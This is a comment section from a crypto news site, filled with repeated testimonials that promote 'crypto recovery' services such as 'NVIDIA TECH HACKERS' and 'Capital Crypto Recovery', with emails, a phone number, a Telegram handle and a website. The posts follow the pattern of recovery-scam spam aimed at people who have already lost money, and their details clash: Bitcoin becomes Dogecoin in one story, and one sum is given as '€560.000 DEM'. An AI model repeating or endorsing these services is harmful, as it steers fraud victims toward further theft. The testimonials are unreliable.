    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Финансовые рынки от TradingView
Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon